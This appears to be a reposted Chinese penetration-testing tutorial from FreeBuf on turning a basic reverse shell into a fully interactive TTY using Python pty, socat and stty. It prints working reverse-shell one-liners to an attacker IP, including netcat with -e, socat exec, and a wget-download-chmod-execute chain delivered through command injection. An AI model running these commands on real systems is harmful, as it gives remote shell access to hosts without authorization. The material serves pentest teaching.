Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >如何将简单的Shell转换成为完全交互式的TTY

如何将简单的Shell转换成为完全交互式的TTY

作者头像
FB客服
发布于 2018-02-28 08:50:46
发布于 2018-02-28 08:50:46
5.6K00
代码可运行
举报
文章被收录于专栏:FreeBufFreeBuf
运行总次数:0
代码可运行

作为一名渗透测试人员,最令人激动的莫过于netcat为我们反弹回了一个shell连接,以及通过id命令查看到一个令人满意的用户权限。但凡事总有意外,由于我们获取的shell并不是一个具有完整交互的shell,因此可能会在使用过程中被挂起,甚至还可能会因为我们的操作失误,例如不小心摁下了 “Ctrl-C”键,这将直接终止我们的整个shell进程让徒劳而归。

除了没有正确处理SIGINT(信号)之外,这些“哑”shell还有其它诸多缺点:

一些命令如su和ssh,需要一个正确的终端才能运行 通常不显示STDERR 无法正常使用vim等文本编辑器 没有完成标签 没有向上箭头使用历史 没有jobcontrol等

长话短说虽然这些sehll也很棒,但我更倾向于在完全互动的TTY中进行操作。下面我将为大家分享一些用来“升级”这些shell的技巧和方法。在正式开始之前我向大家推荐一个叫Pentest Monkey的博客,以及Phineas Fisher的技术视频和writeup。 <点击文末的阅读原文查看这些内容>

为了便于演示,以下所有的屏幕截图和命令都将在一台易受攻击的Web服务器(“VICTIM”)和用于捕获shell的Kali VM(“KALI”)上完成。

  • VICTIM IP: 10.0.3.7
  • KALI IP: 10.0.3.4

生成反向shell命令

我们首先使用netcat来获取最常见的反向shell:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
nc -e /bin/sh 10.0.3.4 4444

在kali虚拟机上我们输入以下命令:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
nc -lvp 4444

问题不在于每个服务器是否都安装了netcat,并且也不是每个版本的netcat都具备-e选项。Pentest Monkey有篇关于反向shell的cheatsheet,为我们提供了一些不同的方法。但我更热衷于使用Metasploit的msfvenom一行生成命令。

Metasploit在“cmd/unix”下,有几个可用于生成单行绑定或反向shell的payload:

以上显示的所有payload都可以和msfvenom一起使用,并且我们可以根据自身需求指定LHOST,LPORT或RPORT。例如,这里是一个不需要-e标志的netcat命令:

如果没有安装netcat,我们还可以生成一个Perl的反向shell:

这些都可以通过使用netcat,并侦听指定的端口(4444)来捕获。

方法1:Python pty模块

对于已经安装了python的系统,我们可以使用python提供的pty模块,只需要一行脚本就可以创建一个原生的终端,命令如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
python -c 'import pty; pty.spawn("/bin/bash")'

在创建完成后,我们此时就可以运行su命令了。(并且界面提示也变得更加友好)

即便如此,但问题依旧没有完全的解决。例如SIGINT(Ctrl-C)仍然会关闭终止Netcat,完成标签或历史记录也依旧没有,但这个方法在实际运用中也有一定的效果。

方法2:使用socat

socat是一个netcat上的替代工具,可以说是nc的增强版。我们可以使用Socat通过TCP连接传递完整的TTY。

如果你成功在目标机器安装了socat,那么我们就可以通过以下命令来获取到一个完全交互式的TTY反向shell:

在kali虚拟机我们运行以下侦听命令:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
socat file:`tty`,raw,echo=0 tcp-listen:4444

在目标机器我们运行:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

如果目标系统没有安装socat你可以通过以下Github地址,下载相关的二进制静态文件进行安装:

https://github.com/andrew-d/static-binaries

通过命令注入漏洞,我们可以将socat二进制文件下载到一个可写的目录,并通过chmod命令修改文件的执行权限,然后在一行中执行反向shell:

wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

此时在kali,你将会获取到一个完全交互式的TTY会话。它支持完成标签,SIGINT/SIGSTP,vim,向上箭头使用历史等。

方法3:魔术般的Netcat升级

在Phineas Fisher的技术视频中该方法被展示出来,在我看来感觉就像是魔术一般。基本操作就是在kali终端内设置一些stty选项,最终将“哑”netcat shell升级到了一个完全交互的TTY。

首先我们使用与方法1相同的技术来生成PTY。一旦bash在PTY中运行,我们按Ctrl-Z键将shell调至后台运行

现在我们来检查当前终端和STTY信息,所以我们可以强制连接到shell并匹配:

所需的信息是TERM类型(“xterm-256color”)和当前TTY的大小(38行;116列)

接着我们将当前STTY设置为raw(请确保shell仍在后台运行),并使用以下命令回显输入字符:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
stty raw -echo

使用raw stty,输入/输出将看起来有点奇怪,你可能看不到下一个命令,但是当你键入时,它们则会被执行。

下一个前台shell将重新打开反向shell,但格式化将关闭。最后,重新初始化终端。

注意:我没有再次键入nc命令(如上图所示)。我实际上进入到了fg(前台),但这并没有被打印出来。nc命令现在是处于前台的工作状态。reset命令进入到netcat shell中后,shell会正常显示。最后一步是设置shell,终端类型和stty大小来匹配我们当前的Kali窗口(上面收集的信息)。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ export SHELL=bash
$ export TERM=xterm256-color
$ stty rows 38 columns 116

最终的结果是我们将获取到一个在netcat之上的完全交互式的TTY,它具有我们所期望的所有功能(tab-complete,history,job control等):

甚至我们还可以在netcat shell上运行Tmux!

Cheatsheet

Cheatsheet命令:

使用Python作为一个伪终端

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
python -c 'import pty; pty.spawn("/bin/bash")'

使用socat

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444

#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

使用stty选项

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
# In reverse shell
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z

# In Kali
$ stty raw -echo
$ fg

# In reverse shell
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows <num> columns <cols>
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2017-08-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
Some Linux Hacking Tricks
There is always a method here is useful for you to penetrantion testing :) Some ways to read system files 1cat /etc/issue 2tac /etc/issue 3less /etc/issue 4more /etc/issue 5head /etc/issue 6tail /etc/issue 7nl /etc/issue 8xxd /etc/issue 9sort /et
xfkxfk
2018/05/15
8690
实现交互式shell的几种方式:python pty 方式、升级nc、socat、script获取pty
当我们拿到一个webshell的时候,我们能够执行一些命令,但是这些命令都是非交互的,也就是说不存在上下文的概念。当我们想使用vim、top等命令时,webshell就无能为力了。
中龙技术
2022/09/29
5.3K0
实现交互式shell的几种方式:python pty 方式、升级nc、socat、script获取pty
反弹Shell,看这一篇就够了
在渗透测试实战中,我们经常会遇到Linux系统环境,而让Linux主机反弹个shell是再常见不过的事情了。
HACK学习
2021/04/26
30.5K4
反弹Shell,看这一篇就够了
不一样的 "反弹Shell" 系统剖析
前两篇文章讲解了cmd和powershell混淆的各种姿势,原理和防御方式,希望能对大家有启发。
七夜安全博客
2020/06/16
3.3K0
不一样的 "反弹Shell" 系统剖析
渗透测试中几只“猫”的用法
渗透测试过程中会用到一些系统shell工具,有几只长得很像,分别是netcat(nc), nmap-cat(ncat), socat, powercat. 都是跟“猫”相关的,这几只“猫”上得了庭堂,下得了厨房,不对,是上可卖萌,下可贩贱,最近汇总了下这几只“猫”的用法,分享如下。
Power7089
2020/11/09
1.2K0
渗透测试中几只“猫”的用法
VulnHub靶场 DarkHole:1
目标靶机开启了22端口,运行版本号为OpenSSH 8.2p1的SSH服务;开启了80端口,http服务,其中间件为Apache/2.4.41。
潇湘信安
2023/03/10
1K0
VulnHub靶场 DarkHole:1
红队笔记专属-shell备忘录
建议直接复制粘贴到笔记,或点赞收藏,因为时常会用到,这是整理的一些常见的反向shell和特权提升的笔记文档,红队成员必会!
Gamma实验室
2022/04/26
1.1K0
攻防|反弹shell方式汇总
注意有些反弹shell的方法或脚本只适用于Linux或者Windows,注意区分相关脚本的编写方式方法。
亿人安全
2024/04/19
1.3K0
攻防|反弹shell方式汇总
Hackthebox-Ghoul
CTF挑战靶机是来自hackthebox的“Ghoul”,hackthebox是一个非常不错的在线实验平台。
Khan安全团队
2020/03/10
5330
Hackthebox-Ghoul
set example(buildingexamples)
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/126690.html原文链接:https://javaforall.cn
全栈程序员站长
2022/08/01
7140
TTY 到底是个什么玩意?
先来回答一道面试题:我们知道在终端中有一些常用的快捷键,Ctrl+E 可以移动到行尾,Ctrl+W 可以删除一个单词,Ctrl+B 可以向前移动一个字母,按上键可以出现上一个使用过的 shell 命令。在这 4 种快捷键中,有一个是和其他的实现不一样的,请问是哪一个?
米开朗基杨
2021/10/27
1.7K0
TTY 到底是个什么玩意?
Hack the box-Network
大家好,今天给大家带来的CTF挑战靶机是来自hackthebox的“Network”,hackthebox是一个非常不错的在线实验平台,能帮助你提升渗透测试技能和黑盒测试技能,平台上有很多靶机,从易到难,各个级别的靶机都有。
Khan安全团队
2020/03/08
7410
Hack the box-Network
Hack the box-Jarvis
大家好,今天给大家带来的CTF挑战靶机是来自hackthebox的“Jarvis”,hackthebox是一个非常不错的在线实验平台,能帮助你提升渗透测试技能和黑盒测试技能,平台上有很多靶机,从易到难,各个级别的靶机都有。本级靶机难度为困难级别,任务是找到靶机上的user.txt和root.txt。
Khan安全团队
2020/03/08
7110
Hack the box-Jarvis
涨姿势!那些反弹shell的技巧总结
在渗透过程中,往往因为端口限制而无法直连目标机器,此时需要通过反弹shell来获取一个可交互式shell。
网络安全自修室
2021/11/25
1.8K0
干货|后渗透及内网初体验的总结
绕过失败的可以手动试一下:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions
亿人安全
2022/06/30
1.1K0
干货|后渗透及内网初体验的总结
第22篇:一次艰难的PostgreSQL不出网提权过程
在日常的内网横向过程中,对于SMB、Mysql、SSH、Sqlserver、Oracle等服务的弱口令爆破是常用手段,重复的红队攻防比赛使得这些服务的弱口令越来越少了。所以在平时,ABC_123也会关注一些其它服务的弱口令提权方法,有时候会在内网横向中收到奇效。本期就分享一个在内网渗透中,遇到的PostgreSQL数据库提权案例,过程非常艰辛,但是收获不少。
ABC_123
2022/12/06
1.7K0
第22篇:一次艰难的PostgreSQL不出网提权过程
Linux下终端实现文件上传与反弹
注意:本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。
全栈工程师修炼指南
2020/10/23
3.7K0
Linux下终端实现文件上传与反弹
浅谈内网端口转发
在渗透测试过程中,我们经常会用到端口转发,利用代理脚本将内网的流量代理到本地进行访问,这样极大的方便了我们对内网进行横向渗透。最常见的端口转发工具不限于以下几款,大家可以根据在实际测试过程的需要进行选择。
FB客服
2019/08/21
2.5K0
内网渗透 | 全网最实用的反弹shell总结
声明:本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全。
安全小王子
2022/12/11
1.9K0
反弹shell工具(2)
Netcat 是一款简单的Unix工具,使用UDP和TCP协议。 它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。 使用它你可以轻易的建立任何连接。
h0cksr
2023/05/17
8310
相关推荐
Some Linux Hacking Tricks
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档